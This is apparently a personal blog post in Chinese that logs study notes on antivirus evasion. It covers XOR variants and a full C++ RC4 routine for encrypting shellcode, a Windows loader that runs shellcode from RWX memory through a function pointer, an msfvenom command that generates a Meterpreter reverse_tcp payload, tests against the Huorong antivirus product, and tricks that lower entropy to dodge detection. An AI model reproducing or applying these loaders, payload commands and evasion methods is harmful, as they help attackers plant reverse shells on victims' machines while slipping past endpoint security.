基础免杀学习记录

[TOC]

link

https://tttang.com/archive/1573/

https://www.freebuf.com/articles/network/415050.html

shellcode 加密

尽可能避免直接使用加密库所提供的加解密方法实现

防止导入表中存在明显的特征

比如使用aes 的话就很有可能被重点专注解密的区域

但是其实无论是自己写加密算法还是使用流行的,比较能够避免被杀的一个算法

其实都是在静态上的努力,只要在加入到内存,shellcode就“原形毕露”了

XOR

如果是一个key 的形式的一个异或,很有可能被av/edr 进行一个查杀

我总结了以下三个不同于正常xor 的xor 方式

都是通过修改key 的单一性的尝试

字符串ascii

比如提供一个字符串是”abcd”

那么他的一个加密key 就变成了

97 98 99 100

只需要对这几个值在进行一个xor 就可以

在我的工具中提供的就是这样的xor

文件二进制

通过二进制的方式读出某一个文件

然后使用读出的文件内容进行一个xor

文件hash

原理是一致的

只是可以通过读取加载器自己的hash 然后在对读出的hash 计算一个ascii 码值

再进行异或

RC4

如果是不想使用上面的变种xor 那就直接使用rc4

https://blog.csdn.net/huangyimo/article/details/82980364

使用c++ 尽心一个实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <iostream>
#include <string>
using namespace std;
class RC4 {
private:
unsigned char s[256];
void swap(unsigned char& a, unsigned char& b)
{
unsigned char tmp = a;
a = b;
b = tmp;
}
void init_sbox(string key)
{
for (unsigned int i = 0; i < 256; i++) //初始化s盒
s[i] = i;
unsigned char T[256] = { 0 };
unsigned keylen = key.length();
for (int i = 0; i < 256; i++)
T[i] = key[i % keylen]; //根据密钥初始化t表
for (int j = 0, i = 0; i < 256; i++)
{
j = (j + s[i] + T[i]) % 256; //打乱s盒
swap(s[i], s[j]);
}
}
public :
void enc_dec(string& data,string key) {
init_sbox(key);
unsigned int datalen = data.length();
unsigned char k, i = 0, j = 0, t;
for (unsigned int h = 0; h < datalen; h++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
swap(s[i], s[j]);
t = (s[i] + s[j]) % 256;
k = s[t];
data[h] ^= k;
}

}
};

int main()
{
RC4 rc4 ;
string data, key;
cout << "请输入需要加密的明文:" << endl;
cin >> data;
cout << "请输入密钥key:" << endl;
cin >> key;
rc4.enc_dec(data, key);
cout << "加密后的内容是:\n" << data << endl;
rc4.enc_dec(data, key);
cout << "解密后的内容是:\n" << data << endl;
return 0;
}

测试

通函数指针的方式进行一个执行

下面是一个执行的代码

1
2
3
4
5
6
7
8
9
10
#include <iostream>
#include <windows.h>

int main()
{
unsigned char shellcode[] = "\x00";
void *mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(mem, shellcode, sizeof(shellcode));
((void (*)())mem)();
}

首先需要生成一个msf raw 格式的文件

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=ip lport=port  -f c

然后放到程序中,编译会发现火绒是可以直接查杀的

image-20250325154334261

尝试如果没有exec 进行编译

image-20250325154542936

注释之后发现还是会被杀

image-20250325154537465

这个就是说明了这个方式的shellcode 被杀了

降低熵值

静态资源修改

可以通过resourcehacker 进行修改

image-20250326104201614

字符串变形

本意是讲shellcode 通过一种加密/编码方式可以将shellcode 变成英语字符串

英语单词就变成了低熵

我实现了这个

TSY244/ShcReduceEntropy: 使用字母表降低熵值,main.cpp 有一个demo,还需要设计一个更加隐藏的加载方式。 (github.com)

沙箱绕过

pyjail bypass-10 绕过 opcode 沙箱 | DummyKitty’s Blog


基础免杀学习记录
https://tsy244.github.io/2025/03/24/免杀/基础免杀学习记录/
Author
August Rosenberg
Posted on
March 24, 2025
Licensed under